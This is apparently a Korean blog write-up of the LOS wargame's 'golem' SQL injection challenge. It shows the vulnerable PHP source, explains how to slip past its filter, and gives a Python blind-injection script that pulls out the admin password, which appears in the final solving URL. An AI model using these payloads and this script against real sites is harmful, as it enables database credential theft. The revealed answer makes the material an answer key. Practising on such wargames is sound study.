[LOS] golem 풀이 - 11번

[LOS] golem 풀이

 

PHP & query 

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

select id from prob_golem where id='guest' and pw=''

 

문제 풀이

solve 조건

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 

정확한 pw값을 요구하는 문제이다 4,7번문제랑 동일하다.

 

 

특수문자 제약

if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 

and,or,=,substr을 사용하지 못 한다. 7번문제 파이썬 코드에 [= -> like], [substr() -> left()]  바꾸기만 하면 해결된다.

 

 

Python code

import requests

URL='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': '내 쿠기값'}
password = ''
length=0;

for i in range(100):
    query={'pw': '\' || length(pw) like '+str(i)+' # '}
    res=requests.get(URL, params=query, headers=headers, cookies=cookies)
    if('Hello guest' in res.text):
        print(i)
        length=i;
        break;
    
for i in range(length):
    for j in range(ord('0'),ord('z')+1):
        query={'pw': '\' || id like \'admin\'&& left(pw,'+str(i+1)+') like \'' +password + chr(j)+ '\'#'}
        res=requests.get(URL, params=query, headers=headers, cookies=cookies)
        if('Hello admin' in res.text):
            password = password + chr(j)
            print(password)
            break;

 7번문제랑 똑같다.

[LOS] orge 풀이 - 7번

[LOS] orge 풀이 - 7번

 

URL

los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=77d6290b